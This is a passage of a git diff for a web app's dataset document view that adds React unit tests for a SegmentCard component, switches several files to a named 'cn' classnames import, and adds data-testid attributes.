+      const detail = createMockSegmentDetail({ keywords: ['testkeyword'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('testkeyword')).toBeInTheDocument()
+    })
+
+    it('should compute isGeneralMode correctly for non-text mode - hide keywords', () => {
+      mockDocForm.current = ChunkingMode.qa
+      const detail = createMockSegmentDetail({ keywords: ['testkeyword'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('testkeyword')).not.toBeInTheDocument()
+    })
+
+    it('should compute isParentChildMode correctly - show parent chunk prefix', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/datasetDocuments\.segment\.parentChunk/i)).toBeInTheDocument()
+    })
+
+    it('should compute isFullDocMode correctly - show view more button', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('common.operation.viewMore')).toBeInTheDocument()
+    })
+
+    it('should compute isParagraphMode correctly and show child chunks', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const childChunks = [createMockChildChunk()]
+      const detail = createMockSegmentDetail({ child_chunks: childChunks })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChildSegmentList should render
+      expect(screen.getByText(/child chunk/i)).toBeInTheDocument()
+    })
+
+    it('should compute chunkEdited correctly when updated_at > created_at', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000001,
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('datasetDocuments.segment.edited')).toBeInTheDocument()
+    })
+
+    it('should not show edited badge when timestamps are equal', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000000,
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('datasetDocuments.segment.edited')).not.toBeInTheDocument()
+    })
+
+    it('should not show edited badge in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000001,
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('datasetDocuments.segment.edited')).not.toBeInTheDocument()
+    })
+
+    it('should compute contentOpacity correctly when enabled', () => {
+      const detail = createMockSegmentDetail({ enabled: true })
+
+      const { container } = render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const wordCount = container.querySelector('.system-xs-medium.text-text-tertiary')
+      expect(wordCount).not.toHaveClass('opacity-50')
+    })
+
+    it('should compute contentOpacity correctly when disabled', () => {
+      const detail = createMockSegmentDetail({ enabled: false })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChunkContent receives opacity class when disabled
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('opacity-50')
+    })
+
+    it('should not apply opacity when disabled but focused', () => {
+      const detail = createMockSegmentDetail({ enabled: false })
+
+      const { container } = render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          focused={{ segmentIndex: false, segmentContent: true }}
+        />,
+      )
+
+      const wordCount = container.querySelector('.system-xs-medium.text-text-tertiary')
+      expect(wordCount).not.toHaveClass('opacity-50')
+    })
+
+    it('should compute wordCountText with correct format for singular', () => {
+      const detail = createMockSegmentDetail({ word_count: 1 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('1 character')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Mode-specific Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Mode-specific Rendering', () => {
+    it('should render without padding classes in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).not.toHaveClass('pb-2')
+      expect(card).not.toHaveClass('pt-2.5')
+    })
+
+    it('should render with hover classes in non full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).toHaveClass('pb-2')
+      expect(card).toHaveClass('pt-2.5')
+    })
+
+    it('should not render status item in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // In full-doc mode, status item should not render
+      expect(screen.queryByText('Status:')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Child Segment List Tests
+  // --------------------------------------------------------------------------
+  describe('Child Segment List', () => {
+    it('should render ChildSegmentList when in paragraph mode with child chunks', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const childChunks = [createMockChildChunk(), createMockChildChunk({ id: 'child-2', position: 2 })]
+      const detail = createMockSegmentDetail({ child_chunks: childChunks })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/2 child chunks/i)).toBeInTheDocument()
+    })
+
+    it('should not render ChildSegmentList when child_chunks is empty', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const detail = createMockSegmentDetail({ child_chunks: [] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText(/child chunk/i)).not.toBeInTheDocument()
+    })
+
+    it('should not render ChildSegmentList in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const childChunks = [createMockChildChunk()]
+      const detail = createMockSegmentDetail({ child_chunks: childChunks })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // In full-doc mode, ChildSegmentList should not render
+      expect(screen.queryByText(/1 child chunk$/i)).not.toBeInTheDocument()
+    })
+
+    it('should call handleAddNewChildChunk when add button is clicked', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const handleAddNewChildChunk = jest.fn()
+      const childChunks = [createMockChildChunk()]
+      const detail = createMockSegmentDetail({ id: 'parent-id', child_chunks: childChunks })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          handleAddNewChildChunk={handleAddNewChildChunk}
+          focused={defaultFocused}
+        />,
+      )
+
+      const addButton = screen.getByText('common.operation.add')
+      fireEvent.click(addButton)
+
+      expect(handleAddNewChildChunk).toHaveBeenCalledWith('parent-id')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Keywords Display Tests
+  // --------------------------------------------------------------------------
+  describe('Keywords Display', () => {
+    it('should render keywords with # prefix in general mode', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({ keywords: ['keyword1', 'keyword2'] })
+
+      const { container } = render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('keyword1')).toBeInTheDocument()
+      expect(screen.getByText('keyword2')).toBeInTheDocument()
+      // Tag component shows # prefix
+      const hashtags = container.querySelectorAll('.text-text-quaternary')
+      expect(hashtags.length).toBeGreaterThan(0)
+    })
+
+    it('should not render keywords in QA mode', () => {
+      mockDocForm.current = ChunkingMode.qa
+      const detail = createMockSegmentDetail({ keywords: ['keyword1'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('keyword1')).not.toBeInTheDocument()
+    })
+
+    it('should not render keywords in parent-child mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      const detail = createMockSegmentDetail({ keywords: ['keyword1'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('keyword1')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Images Display Tests
+  // --------------------------------------------------------------------------
+  describe('Images Display', () => {
+    it('should render ImageList when attachments exist', () => {
+      const attachments = [createMockAttachment()]
+      const detail = createMockSegmentDetail({ attachments })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ImageList uses FileThumb which renders images
+      expect(screen.getByAltText('test-image.png')).toBeInTheDocument()
+    })
+
+    it('should not render ImageList when attachments is empty', () => {
+      const detail = createMockSegmentDetail({ attachments: [] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByAltText('test-image.png')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases and Error Handling Tests
+  // --------------------------------------------------------------------------
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle undefined detail gracefully', () => {
+      render(<SegmentCard loading={false} detail={undefined} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk/i)).toBeInTheDocument()
+    })
+
+    it('should handle empty detail object gracefully', () => {
+      render(<SegmentCard loading={false} detail={{} as SegmentDetailModel} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk/i)).toBeInTheDocument()
+    })
+
+    it('should handle missing callback functions gracefully', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={undefined}
+          onChangeSwitch={undefined}
+          onDelete={undefined}
+          onClickEdit={undefined}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      expect(() => fireEvent.click(card)).not.toThrow()
+    })
+
+    it('should handle switch being disabled when status is not completed', () => {
+      const detail = createMockSegmentDetail({ status: 'indexing' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      // The Switch component uses CSS classes for disabled state, not the native disabled attribute
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('!cursor-not-allowed', '!opacity-50')
+    })
+
+    it('should handle zero word count', () => {
+      const detail = createMockSegmentDetail({ word_count: 0 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('0 characters')).toBeInTheDocument()
+    })
+
+    it('should handle zero hit count', () => {
+      const detail = createMockSegmentDetail({ hit_count: 0 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('0 datasetDocuments.segment.hitCount')).toBeInTheDocument()
+    })
+
+    it('should handle very long content', () => {
+      const longContent = 'A'.repeat(10000)
+      // ChunkContent shows sign_content first, so set it to the long content
+      const detail = createMockSegmentDetail({ sign_content: longContent })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(longContent)).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Component Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Component Integration', () => {
+    it('should render real Tag component with hashtag styling', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({ keywords: ['testkeyword'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('testkeyword')).toBeInTheDocument()
+    })
+
+    it('should render real Divider component', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const dividers = document.querySelectorAll('.bg-divider-regular')
+      expect(dividers.length).toBeGreaterThan(0)
+    })
+
+    it('should render real Badge component when edited', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000001,
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const editedBadge = screen.getByText('datasetDocuments.segment.edited')
+      expect(editedBadge).toHaveClass('system-2xs-medium-uppercase')
+    })
+
+    it('should render real Switch component with correct enabled state', () => {
+      const detail = createMockSegmentDetail({ enabled: true, status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('bg-components-toggle-bg')
+    })
+
+    it('should render real Switch component with unchecked state', () => {
+      const detail = createMockSegmentDetail({ enabled: false, status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('bg-components-toggle-bg-unchecked')
+    })
+
+    it('should render real SegmentIndexTag with position formatting', () => {
+      const detail = createMockSegmentDetail({ position: 1 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk-01/i)).toBeInTheDocument()
+    })
+
+    it('should render real SegmentIndexTag with double digit position', () => {
+      const detail = createMockSegmentDetail({ position: 12 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk-12/i)).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // All Props Variations Tests
+  // --------------------------------------------------------------------------
+  describe('All Props Variations', () => {
+    it('should render correctly with all props provided', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const childChunks = [createMockChildChunk()]
+      const attachments = [createMockAttachment()]
+      const detail = createMockSegmentDetail({
+        id: 'full-props-segment',
+        position: 10,
+        sign_content: 'Full signed content',
+        content: 'Full content',
+        word_count: 500,
+        hit_count: 25,
+        enabled: true,
+        keywords: ['key1', 'key2'],
+        child_chunks: childChunks,
+        attachments,
+        created_at: 1700000000,
+        updated_at: 1700000001,
+        status: 'completed',
+      })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={jest.fn()}
+          onChangeSwitch={jest.fn()}
+          onDelete={jest.fn()}
+          onDeleteChildChunk={jest.fn()}
+          handleAddNewChildChunk={jest.fn()}
+          onClickSlice={jest.fn()}
+          onClickEdit={jest.fn()}
+          className="full-props-class"
+          archived={false}
+          embeddingAvailable={true}
+          focused={{ segmentIndex: true, segmentContent: true }}
+        />,
+      )
+
+      // ChunkContent shows sign_content first
+      expect(screen.getByText('Full signed content')).toBeInTheDocument()
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+    })
+
+    it('should render correctly with minimal props', () => {
+      render(<SegmentCard loading={true} focused={defaultFocused} />)
+
+      expect(screen.getByText('common.operation.viewMore')).toBeInTheDocument()
+    })
+
+    it('should handle loading transition correctly', () => {
+      const detail = createMockSegmentDetail()
+
+      const { rerender } = render(<SegmentCard loading={true} detail={detail} focused={defaultFocused} />)
+
+      // When loading, content should not be visible
+      expect(screen.queryByText('Test signed content')).not.toBeInTheDocument()
+
+      rerender(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChunkContent shows sign_content first
+      expect(screen.getByText('Test signed content')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // ChunkContent QA Mode Tests - cover lines 25-49
+  // --------------------------------------------------------------------------
+  describe('ChunkContent QA Mode', () => {
+    it('should render Q and A sections when answer is provided', () => {
+      const detail = createMockSegmentDetail({
+        content: 'This is the question content',
+        answer: 'This is the answer content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Should render Q label
+      expect(screen.getByText('Q')).toBeInTheDocument()
+      // Should render A label
+      expect(screen.getByText('A')).toBeInTheDocument()
+      // Should render question content
+      expect(screen.getByText('This is the question content')).toBeInTheDocument()
+      // Should render answer content
+      expect(screen.getByText('This is the answer content')).toBeInTheDocument()
+    })
+
+    it('should apply line-clamp-2 class when isCollapsed is true in QA mode', () => {
+      mockIsCollapsed.current = true
+      const detail = createMockSegmentDetail({
+        content: 'Question content',
+        answer: 'Answer content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Markdown components should have line-clamp-2 class when collapsed
+      const markdowns = screen.getAllByTestId('markdown')
+      markdowns.forEach((markdown) => {
+        expect(markdown).toHaveClass('line-clamp-2')
+      })
+    })
+
+    it('should apply line-clamp-20 class when isCollapsed is false in QA mode', () => {
+      mockIsCollapsed.current = false
+      const detail = createMockSegmentDetail({
+        content: 'Question content',
+        answer: 'Answer content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Markdown components should have line-clamp-20 class when not collapsed
+      const markdowns = screen.getAllByTestId('markdown')
+      markdowns.forEach((markdown) => {
+        expect(markdown).toHaveClass('line-clamp-20')
+      })
+    })
+
+    it('should render QA mode with className applied to wrapper', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Question',
+        answer: 'Answer',
+        sign_content: '',
+        enabled: false,
+      })
+
+      const { container } = render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // The ChunkContent wrapper should have opacity class when disabled
+      const qaWrapper = container.querySelector('.flex.gap-x-1')
+      expect(qaWrapper).toBeInTheDocument()
+    })
+
+    it('should not render QA mode when answer is empty string', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Regular content',
+        answer: '',
+        sign_content: 'Signed content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Should not render Q and A labels
+      expect(screen.queryByText('Q')).not.toBeInTheDocument()
+      expect(screen.queryByText('A')).not.toBeInTheDocument()
+      // Should render signed content instead
+      expect(screen.getByText('Signed content')).toBeInTheDocument()
+    })
+
+    it('should not render QA mode when answer is undefined', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Regular content',
+        answer: undefined,
+        sign_content: 'Signed content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // Should not render Q and A labels
+      expect(screen.queryByText('Q')).not.toBeInTheDocument()
+      expect(screen.queryByText('A')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // ChunkContent Non-QA Mode Tests - ensure full coverage
+  // --------------------------------------------------------------------------
+  describe('ChunkContent Non-QA Mode', () => {
+    it('should apply line-clamp-3 in fullDocMode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail({
+        sign_content: 'Content in full doc mode',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('line-clamp-3')
+    })
+
+    it('should apply line-clamp-2 when not fullDocMode and isCollapsed is true', () => {
+      mockDocForm.current = ChunkingMode.text
+      mockIsCollapsed.current = true
+      const detail = createMockSegmentDetail({
+        sign_content: 'Collapsed content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('line-clamp-2')
+    })
+
+    it('should apply line-clamp-20 when not fullDocMode and isCollapsed is false', () => {
+      mockDocForm.current = ChunkingMode.text
+      mockIsCollapsed.current = false
+      const detail = createMockSegmentDetail({
+        sign_content: 'Expanded content',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('line-clamp-20')
+    })
+
+    it('should fall back to content when sign_content is empty', () => {
+      const detail = createMockSegmentDetail({
+        content: 'Fallback content',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('Fallback content')).toBeInTheDocument()
+    })
+
+    it('should render empty string when both sign_content and content are empty', () => {
+      const detail = createMockSegmentDetail({
+        content: '',
+        sign_content: '',
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveTextContent('')
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx b/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx
index 679a0ec777..56ead7b864 100644
--- a/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx
+++ b/web/app/components/datasets/documents/detail/completed/segment-card/index.tsx
@@ -13,7 +13,7 @@ import Switch from '@/app/components/base/switch'
 import Divider from '@/app/components/base/divider'
 import { formatNumber } from '@/utils/format'
 import Confirm from '@/app/components/base/confirm'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Badge from '@/app/components/base/badge'
 import { isAfter } from '@/utils/time'
 import Tooltip from '@/app/components/base/tooltip'
@@ -129,6 +129,7 @@ const SegmentCard: FC<ISegmentCardProps> = ({
 
   return (
     <div
+      data-testid="segment-card"
       className={cn(
         'chunk-card group/card w-full rounded-xl px-3',
         isFullDocMode ? '' : 'pb-2 pt-2.5 hover:bg-dataset-chunk-detail-card-hover-bg',
@@ -172,6 +173,7 @@ const SegmentCard: FC<ISegmentCardProps> = ({
                         popupClassName='text-text-secondary system-xs-medium'
                       >
                         <div
+                          data-testid="segment-edit-button"
                           className='flex h-6 w-6 shrink-0 cursor-pointer items-center justify-center rounded-lg hover:bg-state-base-hover'
                           onClick={(e) => {
                             e.stopPropagation()
@@ -184,7 +186,9 @@ const SegmentCard: FC<ISegmentCardProps> = ({
                         popupContent='Delete'
                         popupClassName='text-text-secondary system-xs-medium'
                       >
-                        <div className='group/delete flex h-6 w-6 shrink-0 cursor-pointer items-center justify-center rounded-lg hover:bg-state-destructive-hover'
+                        <div
+                          data-testid="segment-delete-button"
+                          className='group/delete flex h-6 w-6 shrink-0 cursor-pointer items-center justify-center rounded-lg hover:bg-state-destructive-hover'
                           onClick={(e) => {
                             e.stopPropagation()
                             setShowModal(true)
diff --git a/web/app/components/datasets/documents/detail/completed/segment-detail.tsx b/web/app/components/datasets/documents/detail/completed/segment-detail.tsx
index b3135fd45b..a584c42cab 100644
--- a/web/app/components/datasets/documents/detail/completed/segment-detail.tsx
+++ b/web/app/components/datasets/documents/detail/completed/segment-detail.tsx
@@ -16,7 +16,7 @@ import { useSegmentListContext } from './index'
 import { ChunkingMode, type SegmentDetailModel } from '@/models/datasets'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
 import { formatNumber } from '@/utils/format'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 import { useDatasetDetailContextWithSelector } from '@/context/dataset-detail'
 import { IndexingType } from '@/app/components/datasets/create/step-two'
diff --git a/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx b/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx
index f22024bb8e..b013d952a7 100644
--- a/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx
+++ b/web/app/components/datasets/documents/detail/completed/skeleton/parent-chunk-card-skeleton.tsx
@@ -10,7 +10,7 @@ import {
 const ParentChunkCardSkelton = () => {
   const { t } = useTranslation()
   return (
-    <div className='flex flex-col pb-2'>
+    <div data-testid='parent-chunk-card-skeleton' className='flex flex-col pb-2'>
       <SkeletonContainer className='gap-y-0 p-1 pb-0'>
         <SkeletonContainer className='gap-y-0.5 px-2 pt-1.5'>
           <SkeletonRow className='py-0.5'>
diff --git a/web/app/components/datasets/documents/detail/context.ts b/web/app/components/datasets/documents/detail/context.ts
index 1d6f121d6b..ae737994d9 100644
--- a/web/app/components/datasets/documents/detail/context.ts
+++ b/web/app/components/datasets/documents/detail/context.ts
@@ -1,7 +1,7 @@
 import type { ChunkingMode, ParentMode } from '@/models/datasets'
 import { createContext, useContextSelector } from 'use-context-selector'
 
-type DocumentContextValue = {
+export type DocumentContextValue = {
   datasetId?: string
   documentId?: string
   docForm?: ChunkingMode
diff --git a/web/app/components/datasets/documents/detail/document-title.tsx b/web/app/components/datasets/documents/detail/document-title.tsx
index 86e1f26966..922cad7a50 100644
--- a/web/app/components/datasets/documents/detail/document-title.tsx
+++ b/web/app/components/datasets/documents/detail/document-title.tsx
@@ -2,7 +2,7 @@ import type { FC } from 'react'
 import type { ChunkingMode, ParentMode } from '@/models/datasets'
 import { useRouter } from 'next/navigation'
 import DocumentPicker from '../../common/document-picker'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type DocumentTitleProps = {
   datasetId: string
diff --git a/web/app/components/datasets/documents/detail/embedding/index.tsx b/web/app/components/datasets/documents/detail/embedding/index.tsx
index ff5b7ec4b7..298777cf35 100644
--- a/web/app/components/datasets/documents/detail/embedding/index.tsx
+++ b/web/app/components/datasets/documents/detail/embedding/index.tsx
@@ -10,7 +10,7 @@ import { IndexingType } from '../../../create/step-two'
 import { indexMethodIcon, retrievalIcon } from '../../../create/icons'
 import EmbeddingSkeleton from './skeleton'
 import { RETRIEVE_METHOD } from '@/types/app'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 import { ToastContext } from '@/app/components/base/toast'
 import type { IndexingStatusResponse } from '@/models/datasets'
diff --git a/web/app/components/datasets/documents/detail/index.tsx b/web/app/components/datasets/documents/detail/index.tsx
index ddec9b6dbe..0c2f229f88 100644
--- a/web/app/components/datasets/documents/detail/index.tsx
+++ b/web/app/components/datasets/documents/detail/index.tsx
@@ -12,7 +12,7 @@ import Metadata from '@/app/components/datasets/metadata/metadata-document'
 import SegmentAdd, { ProcessStatus } from './segment-add'
 import BatchModal from './batch-modal'
 import style from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 import Loading from '@/app/components/base/loading'
 import Toast from '@/app/components/base/toast'
diff --git a/web/app/components/datasets/documents/detail/metadata/index.tsx b/web/app/components/datasets/documents/detail/metadata/index.tsx
index 94cbe8a8cd..1e15f3e5d1 100644
--- a/web/app/components/datasets/documents/detail/metadata/index.tsx
+++ b/web/app/components/datasets/documents/detail/metadata/index.tsx
@@ -7,7 +7,7 @@ import { useContext } from 'use-context-selector'
 import { get } from 'lodash-es'
 import { useDocumentContext } from '../context'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Input from '@/app/components/base/input'
 import Button from '@/app/components/base/button'
 import Tooltip from '@/app/components/base/tooltip'
diff --git a/web/app/components/datasets/documents/detail/new-segment.tsx b/web/app/components/datasets/documents/detail/new-segment.tsx
index 4fbd6f8eb1..d6fc1f8654 100644
--- a/web/app/components/datasets/documents/detail/new-segment.tsx
+++ b/web/app/components/datasets/documents/detail/new-segment.tsx
@@ -15,7 +15,7 @@ import Dot from './completed/common/dot'
 import { useStore as useAppStore } from '@/app/components/app/store'
 import { ToastContext } from '@/app/components/base/toast'
 import { ChunkingMode, type SegmentUpdater } from '@/models/datasets'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { formatNumber } from '@/utils/format'
 import Divider from '@/app/components/base/divider'
 import { useAddSegment } from '@/service/knowledge/use-segment'
@@ -153,10 +153,8 @@ const NewSegmentModal: FC<NewSegmentModalProps> = ({
   return (
     <div className={'flex h-full flex-col'}>
       <div
-        className={classNames(
-          'flex items-center justify-between',
-          fullScreen ? 'border border-divider-subtle py-3 pl-6 pr-4' : 'pl-4 pr-3 pt-3',
-        )}
+        className={cn('flex items-center justify-between',
+          fullScreen ? 'border border-divider-subtle py-3 pl-6 pr-4' : 'pl-4 pr-3 pt-3')}
       >
         <div className='flex flex-col'>
           <div className='system-xl-semibold text-text-primary'>
@@ -189,8 +187,8 @@ const NewSegmentModal: FC<NewSegmentModalProps> = ({
           </div>
         </div>
       </div>
-      <div className={classNames('flex grow', fullScreen ? 'w-full flex-row justify-center gap-x-8 px-6 pt-6' : 'flex-col gap-y-1 px-4 py-3')}>
-        <div className={classNames('overflow-hidden whitespace-pre-line break-all', fullScreen ? 'w-1/2' : 'grow')}>
+      <div className={cn('flex grow', fullScreen ? 'w-full flex-row justify-center gap-x-8 px-6 pt-6' : 'flex-col gap-y-1 px-4 py-3')}>
+        <div className={cn('overflow-hidden whitespace-pre-line break-all', fullScreen ? 'w-1/2' : 'grow')}>
           <ChunkContent
             docForm={docForm}
             question={question}
@@ -200,7 +198,7 @@ const NewSegmentModal: FC<NewSegmentModalProps> = ({
             isEditMode={true}
           />
         </div>
-        <div className={classNames('flex flex-col', fullScreen ? 'w-[320px] gap-y-2' : 'w-full gap-y-1')}>
+        <div className={cn('flex flex-col', fullScreen ? 'w-[320px] gap-y-2' : 'w-full gap-y-1')}>
           <ImageUploaderInChunk
             key={imageUploaderKey}
             value={attachments}
diff --git a/web/app/components/datasets/documents/detail/segment-add/index.tsx b/web/app/components/datasets/documents/detail/segment-add/index.tsx
index eb40d43e7c..7d6519054b 100644
--- a/web/app/components/datasets/documents/detail/segment-add/index.tsx
+++ b/web/app/components/datasets/documents/detail/segment-add/index.tsx
@@ -8,7 +8,7 @@ import {
